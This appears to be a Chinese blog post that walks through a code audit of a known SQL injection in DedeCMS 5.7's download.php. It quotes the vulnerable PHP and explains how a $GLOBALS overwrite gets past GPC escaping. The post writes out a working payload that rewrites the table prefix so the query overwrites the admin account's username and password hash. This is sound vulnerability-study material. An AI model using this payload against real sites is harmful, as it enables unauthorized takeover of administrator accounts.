zoukankan      html  css  js  c++  java
  • dedecms_5.7 download.php SQL注入

      最近在看Web渗透与漏洞挖掘,这本书的编写目的感觉非常的不错,把渗透和代码审计结合在一起,但是代码审计部分感觉思路个人认为并不是很清晰,在学习dedecms v5.7 SQL注入的时候就只看懂了漏洞,思路依然感觉迷茫,在这里我重新梳理一下这个漏洞的挖掘思路。

      这个漏洞主要包括两方面,一是SQL注入本身,二是全局变量$GLOBALS可以被用户操控。拿到cms我们还是先浏览大致的结构,然后我们重点关注/include/dedesql.class.php文件,根据命名规则我们可以依据经验判断这是该cms的数据库连接配置文件。这个文件中有两个SQL执行语句,分别是ExecNoneQuery()和ExecNoneQuery2(),在ExecNoneQuery()中,该函数调用checksql()函数进行sql语句检查,我们继续阅读ExecNoneQuery2的代码:

     1 //执行一个返回影响记录条数的SQL语句,如update,delete,insert等
     2     function ExecuteNoneQuery2($sql='')
     3     {
     4         global $dsql;
     5         if(!$dsql->isInit)
     6         {
     7             $this->Init($this->pconnect);
     8         }
     9         if($dsql->isClose)
    10         {
    11             $this->Open(FALSE);
    12             $dsql->isClose = FALSE;
    13         }
    14 
    15         if(!empty($sql))
    16         {
    17             $this->SetQuery($sql);
    18         }
    19         if(is_array($this->parameters))
    20         {
    21             foreach($this->parameters as $key=>$value)
    22             {
    23                 $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);
    24             }
    25         }
    26         $t1 = ExecTime();
    27         mysql_query($this->queryString,$this->linkID);
    28         
    29         //查询性能测试
    30         if($this->recordLog) {
    31             $queryTime = ExecTime() - $t1;
    32             $this->RecordLog($queryTime);
    33             //echo $this->queryString."--{$queryTime}<hr />\r\n"; 
    34         }
    35         
    36         return mysql_affected_rows($this->linkID);
    37     }

      很明显我们可以看出,这里并没有进行SQL语句安全性检查,所以我们要仔细检查该函数操控的文件或数据,我们全局搜索ExecuteNoneQuery2,发现/plus/download.php是由这个函数操控的,我们跟读这个文件,这个文件的主要功能是提供软件给用户下载,阅读以下代码:

     1 else if($open==1)
     2 {
     3     //更新下载次数
     4     $id = isset($id) && is_numeric($id) ? $id : 0;
     5     $link = base64_decode(urldecode($link));
     6     if ( !$link )
     7     {
     8         ShowMsg('无效地址','javascript:;');
     9         exit;
    10     }
    11     $hash = md5($link);
    12     $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");
    13     if($rs <= 0)
    14     {
    15         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";
    16         $dsql->ExecNoneQuery($query);
    17     }
    18 
    19     $row = $dsql->GetOne("SELECT * FROM `#@__softconfig` ");
    20     $sites = explode("\n", $row['sites']);
    21     $allowed = array();
    22     foreach($sites as $site)
    23     {
    24         $site = explode('|', $site);
    25         $domain = parse_url(trim($site[0]));
    26         $allowed[] = $domain['host'];
    27     }
    28     
    29     if ( !in_array($linkinfo['host'], $allowed) )
    30     {
    31         ShowMsg('非下载地址,禁止访问','javascript:;');
    32         exit;
    33     }
    34     
    35     header("location:$link");
    36     exit();
    37 }

      这段代码的功能很好读,我们主要考虑两个细节,一是虽然没进行安全性检查,但是应该怎么绕过PGC;二是如何让这条SQL语句能为我所用。如果之前通读了/include/dedesql.class.php的代码,我们心中应该就有了答案,这个文件中有一个特殊操作:

     1 //设置SQL语句,会自动把SQL语句里的#@__替换为$this->dbPrefix(在配置文件中为$cfg_dbprefix)
     2     function SetQuery($sql)
     3     {
     4         $prefix="#@__";
     5         $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
     6         $this->queryString = $sql;
     7     }
     8 
     9 
    10 if(isset($GLOBALS['arrs1']))
    11 {
    12     $v1 = $v2 = '';
    13     for($i=0;isset($arrs1[$i]);$i++)
    14     {
    15         $v1 .= chr($arrs1[$i]);
    16     }
    17     for($i=0;isset($arrs2[$i]);$i++)
    18     {
    19         $v2 .= chr($arrs2[$i]);
    20     }
    21     $GLOBALS[$v1] .= $v2;
    22 }

      在这里以上两个问题已经全部解决,在提交SQL语句的时候程序使用了ASCII进行编码,直接绕过了GPC,arr1和arr2可以被用户操控任意修改。在代码的第五行,程序使用str_replace函数把SQL语句中的#@_替换为了$GLOBALS['cfg_dbprefix'],全局搜索$cfg_dbprefix发现在/include/commen.inc.php中:

    $cfg_dbprefix = 'dede_';
    

       在代码的第21行,这里采用.=的方式拼接了$v1和$v2,.=的用法和+=一致,$a.=$b也就是$a=$a.$b,所以我们控制$v1为cfg_dbprefix,将$v2构造SQL语句:

    admin` SET `userid`='test', `pwd`='565491d704013245' where id=1 #

      完整的SQL语句为:

    UPDATE `dede_admin` SET `userid`='test', `pwd`='565491d704013245' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' 
    

       执行后用户名为test,密码为123456。

      这个漏洞的复现提醒了我,做代码审计通读核心文件的代码还是非常重要的,之前单纯的定位+跟读方法无法应对复杂的攻击,后面我会尽可能的多通读一下代码吧。

  • 相关阅读:
    数据库注意事项
    SQL函数
    2019 SDN阅读作业(2)
    2019 SDN上机第五次作业
    2019 SDN上机第四次作业
    2019 SDN阅读作业
    2019 SDN上机第三次作业
    mysql使用记录
    2019 SDN上机第二次作业
    2019 SDN上机第一次作业
  • 原文地址:https://www.cnblogs.com/richardlee97/p/10592002.html
Copyright © 2011-2022 走看看